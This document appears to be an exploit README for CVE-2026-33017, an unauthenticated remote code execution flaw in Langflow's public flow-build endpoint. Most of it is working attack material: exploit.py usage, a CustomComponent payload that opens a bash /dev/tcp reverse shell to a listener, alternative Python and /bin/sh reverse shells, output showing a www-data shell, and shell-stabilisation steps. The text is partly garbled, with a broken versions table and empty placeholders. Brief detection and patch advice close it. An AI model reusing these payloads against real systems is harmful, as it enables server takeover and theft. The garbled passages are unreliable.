Exploit for Eval Injection in Langflow

## https://sploitus.com/exploit?id=6319D721-5243-54FB-BBC5-A82622CD76E1
# CVE-2026-33017 - Langflow Unauthenticated RCE Exploit

## 📋 Overview

**CVE-2026-33017** is an unauthenticated Remote Code Execution (RCE) vulnerability in Langflow versions  **This exploit is for educational and authorized testing purposes only. Unauthorized access to computer systems is illegal. Use this tool only on systems you own or have explicit permission to test.**

## 🎯 Affected Versions

| Version | Status |
|---------|--------|
| =2.28.0
urllib3>=1.26.0
```

### Usage

#### Basic Syntax

```bash
python3 exploit.py --url  --flow-id  --lhost  --lport 
```

#### Examples

**1. Reverse Shell**
```bash
# Start listener
nc -lvnp 4444

# Run exploit
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444
```

**2. Using Short Options**
```bash
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
```

**3. Local Testing**
```bash
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
```

**4. Custom Timeout**
```bash
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30
```

### Command-Line Arguments

| Argument | Short | Required | Description |
|----------|-------|----------|-------------|
| `--url` | `-u` | Yes | Target URL (e.g., https://target.langflow.com) |
| `--flow-id` | `-f` | Yes | Flow ID (UUID) of the public flow |
| `--lhost` | `-lh` | Yes | Listener IP address for reverse shell |
| `--lport` | `-lp` | Yes | Listener port for reverse shell |
| `--timeout` | `-t` | No | HTTP timeout in seconds (default: 15) |

## 🔧 How It Works

### 1. Payload Structure

The exploit sends a malicious `CustomComponent` node that executes code at module level:

```python
import os

# This executes immediately during component loading
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})
```

### 2. Execution Flow

```
1. Attacker sends POST request to /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow receives the malicious CustomComponent
3. prepare_global_scope() calls exec() on the component code
4. Module-level code executes immediately
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. Reverse shell connects back to attacker's listener
6. Graph compilation continues (but it's too late)
```

### 3. Why It Works

- **Module-level execution**: Code outside class definitions runs during `exec()`
- **No sandboxing**: `exec()` is called without restrictions
- **No authentication**: Endpoint is publicly accessible
- **Attacker-controlled data**: The `data` parameter is directly embedded

## 📊 Proof of Concept

### Successful Exploit Output

```bash
$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================

[!] Make sure your listener is running:
    nc -lvnp 4444

[+] Target URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] Sending exploit payload...
[+] Status Code: 200
[+] Exploit sent successfully!
[+] Job ID: abc123-def456-789ghi

[*] Check your listener for the reverse shell!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$
```

## 🚀 Advanced Usage

### Stabilize the Shell

Once you have a reverse shell:

```bash
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Or use script
script /dev/null -c bash

# Background with Ctrl+Z
# Then run:
stty raw -echo
fg
reset
export TERM=xterm
```

### Execute Custom Commands

Modify the script to execute arbitrary commands instead of a reverse shell:

```python
# In build_payload() function:
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""
```

### Alternative Payloads

**1. Python Socket Reverse Shell**

```python
import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
```

**2. /bin/sh Reverse Shell** (if bash is not available)

```python
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat &5 >&5; done'")
```

## 🛡️ Detection & Prevention

### Detection Indicators

- POST requests to `/api/v1/build_public_tmp/*/flow` without authentication
- Suspicious `CustomComponent` code containing `os.system()` or `subprocess`
- Unexpected `/tmp/rce-proof` or `/tmp/executed` files
- Outbound connections from Langflow containers

### Prevention Measures

1. **Apply the patch**: Update to Langflow 1.9.0 or later
2. **Implement authentication**: Add proper authentication to `/build_public_tmp` endpoint
3. **Input validation**: Sanitize code input for `CustomComponent`
4. **Sandboxing**: Implement proper sandboxing for `exec()` calls
5. **Network segmentation**: Isolate Langflow instances

## 📚 References

- **GitHub Advisory**: [GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx) - Official CVE-2026-33017 Advisory
- **CVE Entry**: [CVE-2026-33017 on NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
- **Langflow GitHub Repository**: [langflow-ai/langflow](https://github.com/langflow-ai/langflow)
- **OWASP Top 10 - A03:2021 Injection**: [Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)

## 🗺️ Timeline

| Date | Event |
|------|-------|
| March 2026 | Vulnerability Discovered |
| March 16, 2026 | GitHub Advisory Published |
| April 2026 | Public Disclosure |
| April 2026 | Patch Released (1.9.0) |


## 📝 License

This project is for educational purposes only. Use at your own risk.

## ⚖️ Legal Notice

This software is provided for educational and authorized security testing purposes only. The authors are not responsible for any misuse or damage caused by this software. Users are solely responsible for complying with all applicable laws and regulations.

---

**Made with 🖤 for security research**